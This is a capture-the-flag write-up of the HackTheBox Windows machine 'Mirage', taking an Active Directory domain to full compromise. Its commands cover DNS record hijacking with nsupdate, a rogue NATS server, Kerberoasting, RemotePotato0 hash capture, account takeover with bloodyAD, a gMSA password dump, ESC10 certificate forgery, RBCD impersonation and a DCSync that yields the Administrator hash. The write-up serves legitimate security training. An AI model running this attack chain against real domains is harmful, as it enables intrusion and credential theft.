HackTheBox Writeup: Mirage

25 Oct 2026 · HTB · 14 min
Machine
Mirage
OS
Windows
Difficulty
Hard
Released
19 Jul 2025
Status
Retired
Rating
★4.3 / 5.0
Table of Contents

Overview

Mirage chains six separate low-severity issues into a full domain compromise. An unauthenticated NFS share leaks internal pentest documentation, which tips off two things: a DNS record that gets auto-purged and can be reclaimed, and the fact that NTLM is blocked domain-wide (Kerberos-only). Reclaiming the purged DNS name lets us stand up a rogue NATS server and sniff plaintext credentials from a client still configured to talk to the old name. Those credentials unlock BloodHound enumeration, a Kerberoastable account, and initial WinRM access.

From there, a second logged-in user is coerced into leaking an NTLMv2 hash via a local COM/DCOM relay trick, and that account’s ForceChangePassword right is used to seize a disabled account. That account can read a gMSA’s password, and the gMSA turns out to belong to a group with Certificate Authority access. A misconfigured Schannel certificate-mapping setting (ESC10) then lets us forge a certificate that authenticates as the Domain Controller’s own machine account, which is used to grant ourselves delegation rights, impersonate a privileged identity, and DCSync the domain for Administrator’s hash.

Enumeration

Nmap Scan

We started with an Nmap scan to identify the open ports and services.

Mirage ➜ nmap -sC -sV 10.129.232.163 
Nmap Scan

Nmap Scan

The scan reveals the following open ports:

Port Service Description
53 DNS Simple DNS Plus — resolves names for the domain
88 Kerberos Microsoft Windows Kerberos — used for domain authentication
111 RPCbind Portmapper — registers RPC services including NFS
135 MSRPC Microsoft Windows RPC endpoint mapper
139 NetBIOS-SSN Microsoft Windows netbios-ssn
389 LDAP Microsoft Windows Active Directory LDAP (Domain: mirage.htb)
445 SMB Microsoft-ds — SMB file sharing
464 kpasswd5 Kerberos password change service
593 RPC over HTTP Microsoft Windows RPC over HTTP 1.0
636 LDAPS Microsoft Windows Active Directory LDAP over SSL
2049 NFS Network File System — unauthenticated share export
3268 LDAP (GC) Microsoft Windows Active Directory Global Catalog LDAP
3269 LDAPS (GC) Microsoft Windows Active Directory Global Catalog LDAP over SSL
5985 WinRM Microsoft HTTPAPI httpd 2.0 — remote PowerShell management

NFS Enumeration

The (everyone) next to the export is the finding. NFS exports are normally restricted to specific client IPs or subnets via the server’s /etc/exports. An export with no client restriction hands its contents to anyone who can route to port 2049, no credentials involved. We mount it:

# List NFS Shares
Mirage ➜ showmount -e 10.129.232.163
Export list for 10.129.232.163:
/MirageReports (everyone)

# Mount NFS Share
Mirage ➜ sudo mount -t nfs 10.129.232.163:/MirageReports /tmp/mount
Discovered PDF Files

Discovered PDF Files

Two PDFs were sitting inside: internal documents that, intentionally or not, hand us a roadmap:

  • Incident_Report_Missing_DNS_Record_nats-svc.pdf — an internal ticket noting that nats-svc.mirage.htb can no longer be resolved, and that the DNS zone’s policy purges unused records automatically after 14 days.
  • Mirage_Authentication_Hardening_Report.pdf — a hardening summary stating that inbound NTLM authentication has been disabled domain-wide in favor of Kerberos-only enforcement.

Read together, these two documents tell us two specific things: there’s a DNS name sitting unclaimed, and once we have credentials, NTLM won’t work to use them — we’ll need Kerberos tickets.

Reclaiming the NATS DNS Record

The key detail from the incident report is that the record wasn’t just missing — it was purged after a retention window. That implies the zone’s update policy allows records to be added and removed dynamically, which is usually only true when nonsecure dynamic DNS updates are permitted.

Update DNS Record

When nonsecure updates are allowed, anyone on the network can add, modify, or delete records — no authentication required. We test this directly:

# Update DNS Record
Mirage ➜ nsupdate <<EOF
server 10.129.232.163
zone mirage.htb
update add nats-svc.mirage.htb 10 A 10.10.14.115
send
EOF

# Verify DNS
Mirage ➜ sudo tcpdump -i tun0 -n port 53
Mirage ➜ dig nats-svc.mirage.htb @10.129.232.163
Updated DNS Record

Updated DNS Record

Reclaiming NATS

We found references to NATS, and located the GitHub repo describing its purpose. It also ships a Debian installer, which we used to stand up our own instance.

Within a few seconds we received a connection back.

# Start NATS Server
Mirage ➜ nats-server -a 10.10.14.115 -D 

# While Loop DNS Update
Mirage ➜ while true; do
nsupdate <<EOF
server 10.129.88.57
zone mirage.htb
update delete nats-svc.mirage.htb A
update add nats-svc.mirage.htb 10 A 10.10.14.115
send
EOF
sleep 5
done

# TCPdump
Mirage ➜ sudo tcpdump -i tun0 -nn host 10.129.88.57 and not port 53 and not port 2049
Received Connection

Received Connection

We can see that we received data. Adding -A to the tcpdump command prints the raw contents, revealing a username in cleartext.

Mirage ➜ sudo tcpdump -i tun0 -nn host 10.129.88.57 and not port 53 and not port 2049 -A | grep Dev_Account_A 
Retrieved Credentials

Retrieved Credentials

Credentials captured: Dev_Account_A:hx5h7F5554fP@1337!

These credentials failed against the target host directly, so we switched to interacting with the service itself using the NATS CLI.

NATS CLI Enumeration

These credentials weren’t valid for any host login, but authenticated cleanly against the NATS server itself:

Mirage ➜ nats -s nats://mirage.htb:4222 account info --user Dev_Account_A --password 'hx5h7F5554fP@1337!' 
Retrieved Account Information

Retrieved Account Information

We successfully retrieved account information with the provided credentials. NATS also supports JetStream — durable, replayable logs of messages, called streams, that persist even after the original publisher/subscriber disconnect. In other words: a message history. If anything sensitive was ever published over this bus, it might still be sitting in a stream. We enumerate what this account can see:

Mirage ➜ nats stream find -s nats://mirage.htb:4222 --user Dev_Account_A --password 'hx5h7F5554fP@1337!'
NATS Message Identified

NATS Message Identified

A single stream shows up: auth_logs. The name alone is a strong hint — this is exactly the kind of place authentication events (and the credentials attached to them) tend to leak. We read it:

Mirage ➜ nats stream view auth_logs -s nats://mirage.htb:4222 --user Dev_Account_A --password 'hx5h7F5554fP@1337!'
Read Stream

Read Stream

Credentials leaked: david.jjackson:pN8kQmn6b86!1234@

Credentialed Enumeration

A direct SMB login with these credentials fails outright:

Mirage ➜ nxc smb dc01.mirage.htb -u david.jjackson -p 'pN8kQmn6b86!1234@' -k -d mirage.htb
Failed Login

Failed Login

BloodHound Enumeration

With valid creds in hand, we switch to BloodHound to map out what this account, and the domain, actually looks like from an attack-path perspective:

(.venv) BloodHound.py (bloodhound-ce) ➜ python3 bloodhound.py -u david.jjackson -p 'pN8kQmn6b86!1234@' -k -ns 10.129.88.57 -d mirage.htb -dc dc01.mirage.htb --zip -c all
BloodHound Collector

BloodHound Collector

The collection flags nathan.aadam as Kerberoastable, and shows the account sits in IT_Admins, a group holding Remote Management User rights on the DC — meaning WinRM access is one cracked password away.

Attack Path

Attack Path

Exploitation

Kerberoasting nathan.aadam

Kerberoasting exploits a structural quirk of Kerberos service tickets: any authenticated domain user, regardless of privilege, can request a TGS (service ticket) for any account that has a registered Service Principal Name. That ticket is encrypted using a key derived from the target service account’s own password hash. Since the ticket is handed over freely, it can be taken offline and cracked at leisure, with zero further interaction with the domain.

Tools ➜ GetUserSPNs.py -dc-ip 10.129.88.57 -request-user nathan.aadam -k 'mirage.htb/david.jjackson:pN8kQmn6b86!1234@' -dc-host dc01.mirage.htb
Successfully Kerberoasted

Successfully Kerberoasted

Cracking the Hash

We used Hashcat to crack the user’s hash.

Mirage ➜ hashcat -a 0 -m 13100 nathan.hash /opt/Tools/rockyou.txt --show
Cracking the Hash

Cracking the Hash

Password cracked: 3edc#EDC3

Initial Access

With NTLM disabled domain-wide, a conventional username/password WinRM connection is unreliable at best. Instead, we request a Kerberos TGT up front and hand evil-winrm the ticket directly, so authentication stays entirely within Kerberos from start to finish:

Mirage ➜ kinit nathan.aadam
Mirage ➜ klist             
Mirage ➜ export KRB5CCNAME=/tmp/krb5cc_1001 
Creating TGS

Creating TGS

-r sets the target Kerberos realm, and -K points evil-winrm at our ticket cache. From there, it uses the cached TGT to transparently request the WinRM/HTTP service ticket it needs.

Mirage ➜ evil-winrm -i dc01.mirage.htb -r MIRAGE.HTB -K /tmp/krb5cc_1001
Access Machine

Access Machine

Post-Enumeration

Pivoting to mark.bbond

Browsing the filesystem reveals a second user profile — mark.bbond — that we have no credentials for yet. BloodHound shows mark.bbond belongs to IT_Support, which holds ForceChangePassword over javier.mmarshall — a powerful primitive, but useless without mark.bbond’s own credentials first.

Attack Path Mark

Attack Path Mark

Finding an Active Session

We uploaded RunasCs to get a properly elevated interactive shell, then checked logged-in sessions.

Uploading RunasCs:

*Evil-WinRM* PS C:\temp> upload /opt/Tools/RunasCs/RunasCs.exe
Uploading RunasCS

Uploading RunasCS

Checking active sessions with qwinsta:

*Evil-WinRM* PS C:\temp> .\RunasCs.exe leet leet qwinsta -l 9
Executed RunasCS

Executed RunasCS

This confirmed mark.bbond was logged in concurrently on the same host.

Cross-Session NTLM Relay (RemotePotato0)

With another user active on the same machine, we can abuse DCOM activation to coerce that user’s session into authenticating to us, capturing their NTLMv2 hash. RemotePotato0 does this by spawning a COM object under the target session and tricking its OXID resolution into reaching back out to an attacker-controlled listener.

On the attacker box, a socat redirector forwards inbound traffic (what the target believes is standard DCOM port 135) to RemotePotato0’s actual listener on 9999:

RunasCs ➜ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:10.129.88.57:9999

On the target, we trigger the coercion against mark.bbond’s session (-s 1 = session ID, -m 2 = hash-capture mode, -x = our IP):

*Evil-WinRM* PS C:\temp> .\RemotePotato0.exe -m 2 -s 1 -x 10.10.14.115
Relay Attack

Relay Attack

Cracking Mark’s Hash

Mirage ➜ hashcat -a 0 -m 5600 mark.hash /opt/Tools/rockyou.txt --show
Cracked Hash

Cracked Hash

Password cracked: 1day@atime

Post-Exploitation

Compromising javier.mmarshall

With mark.bbond’s ForceChangePassword right, we can reset javier.mmarshall’s password — but the account is disabled and has an empty logonHours, so authentication would still fail without two further changes:

# 1. Reset Password
Mirage ➜ bloodyAD -d mirage.htb --host DC01.mirage.htb -u mark.bbond -p '1day@atime' -k set password 'javier.mmarshall' 'Pass123!'

# 2. Remove ACCOUNTDISABLE
Mirage ➜ bloodyAD -d mirage.htb --host DC01.mirage.htb -u mark.bbond -p '1day@atime' -k remove uac javier.mmarshall -f ACCOUNTDISABLE

# 3. Get LogonHours from Nathan (known-working account)
Mirage ➜ bloodyAD -d mirage.htb --host DC01.mirage.htb -u mark.bbond -p '1day@atime' -k get object nathan.aadam --attr logonHours 

# 4. Apply that bitmask (base64-encoded) to javier.mmarshall
Mirage ➜ bloodyAD -d mirage.htb --host DC01.mirage.htb -u mark.bbond -p '1day@atime' -k set object javier.mmarshall logonHours -v '////////////////////////////' --b64
Enable Javier Account

Enable Javier Account

Why logonHours mattered: even with ACCOUNTDISABLE cleared, an empty logonHours attribute means the account is permitted to log in during zero hours of the week — Windows denies Kerberos pre-auth for any time outside the allowed window, which an empty attribute makes permanently true. Copying an all-0xFF bitmask from a working account removes that restriction entirely.

javier.mmarshall is now usable.

Reading the gMSA — mirage-service$

Enumerating javier.mmarshall’s rights shows read access to mirage-service$’s gMSA password blob (msDS-ManagedPassword). Group Managed Service Accounts store a machine-generated, automatically rotating password that only explicitly authorized principals are meant to read — javier.mmarshall having that right is itself a misconfiguration worth noting.

Read GMSA Password

Read GMSA Password

We used gMSADumper to dump the service account’s password:

(.venv) gMSADumper (main) ➜ python3 gMSADumper.py -k -d mirage.htb
Reading the gMSA — mirage-service$

Reading the gMSA — mirage-service$

Finding ESC10

Authenticating as mirage-service$, enumeration shows it’s a member of Certificate Service DCOM Access — a group that grants meaningful interaction rights with the Certificate Authority’s RPC/DCOM interface.

Certificate DCOM Membership

Certificate DCOM Membership

Manually Checking for ESC10

ESC10 (“Weak Certificate Mapping for Schannel Authentication”) isn’t something Certipy’s automated find detects, because it depends on a registry setting on the target server itself, not on certificate template permissions. Per Certipy’s wiki, the relevant check is:

*Evil-WinRM* PS C:\Users\nathan.aadam\Documents> reg query "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL" /v CertificateMappingMethods
Reg Value

Reg Value

Result: 0x4 — UPN mapping enabled.

Combined with mirage-service$ holding write access to mark.bbond’s userPrincipalName (part of the Public-Information property set), this is directly exploitable: mark.bbond’s UPN can be set to anything, including the name of a privileged machine account, and a certificate enrolled afterward inherits that spoofed UPN.

Exploiting ESC10

We have now confirmed this target is vulnerable to ESC10. The plan:

  1. Update mark.bbond’s UPN to [email protected]
  2. Request a certificate as mark.bbond
  3. Authenticate with the certificate as DC01$
  4. Open a Certipy LDAP shell
  5. Update RBCD permissions
  6. Get an updated TGS via S4U2Proxy
  7. Perform DCSync

Spoof mark.bbond’s UPN to the DC’s Machine Account

Mirage ➜ bloodyAD -d mirage.htb -u 'mirage-service$' --host dc01.mirage.htb -k set object 'mark.bbond' userPrincipalName -v '[email protected]'
UPN Updated

UPN Updated

Request a Certificate as mark.bbond

Any client-auth certificate enrolled right now, as mark.bbond, carries the spoofed UPN [email protected] in its SAN — meaning Schannel will later treat it as belonging to the Domain Controller’s machine account, not mark.bbond.

# Request TGT for mark.bbond
Mirage ➜ getTGT.py 'mirage.htb'/'mark.bbond':'1day@atime' 

# Request Certificate
Mirage ➜ KRB5CCNAME=mark.bbond.ccache certipy req -ca 'mirage-DC01-CA' -username [email protected] -p '1day@atime' -dc-host dc01.mirage.htb -k -dc-ip 10.129.232.163 -target dc01.mirage.htb
Requested Certificate

Requested Certificate

Authenticate as DC01$ via LDAP and Update RBCD

Mirage ➜ certipy auth -pfx dc01.pfx -dc-ip 10.129.232.163 -domain mirage.htb -ldap-shell 

set_rbcd DC01$ nathan.aadam

Any machine account is permitted to write its own msDS-AllowedToActOnBehalfOfOtherIdentity attribute, which controls Resource-Based Constrained Delegation. Authenticated as DC01$, we grant nathan.aadam the right to delegate on DC01$’s behalf — and since nathan.aadam has a registered SPN, this unlocks the full S4U2Self → S4U2Proxy chain to impersonate any user against DC01$, including Domain Admins.

Update Delegation Rights

Update Delegation Rights

Impersonate via S4U2Proxy

This requests a service ticket for the cifs/dc01.mirage.htb SPN as if it came from DC01$ itself — legitimate under RBCD, since we just granted nathan.aadam that right.

Mirage ➜ getTGT.py 'mirage.htb'/'nathan.aadam':'3edc#EDC3' 

Mirage ➜ export KRB5CCNAME=nathan.aadam.ccache 
Mirage ➜ KRB5CCNAME=nathan.aadam.ccache getST.py -impersonate "DC01$" -spn "cifs/dc01.mirage.htb" -k -no-pass 'mirage.htb'/'nathan.aadam' 
Performed Impersonation

Performed Impersonation

DCSync

Domain Controllers inherently have replication rights sufficient for DCSync. With a CIFS ticket impersonating DC01$, that same underlying trust pulls password data:

Mirage ➜ KRB5CCNAME=DC01\$@[email protected] secretsdump.py -k dc01.mirage.htb -just-dc-user Administrator 
DCSync

DCSync

This returns the Administrator NT hash (and Kerberos keys).

Domain Admin Access

With NTLM blocked, we request a TGT directly from the hash rather than attempting a password-style logon, then use the resulting ticket with evil-winrm:

Mirage ➜ getTGT.py -hashes :7be6d4f3c2b9c0e3560f5a29eeb1afb3 'mirage.htb'/'Administrator'

Mirage ➜ export KRB5CCNAME=Administrator.ccache                                
Mirage ➜ evil-winrm -i dc01.mirage.htb -r MIRAGE.HTB -K Administrator.ccache
Privileged Access

Privileged Access

← Back to HackTheBox Writeups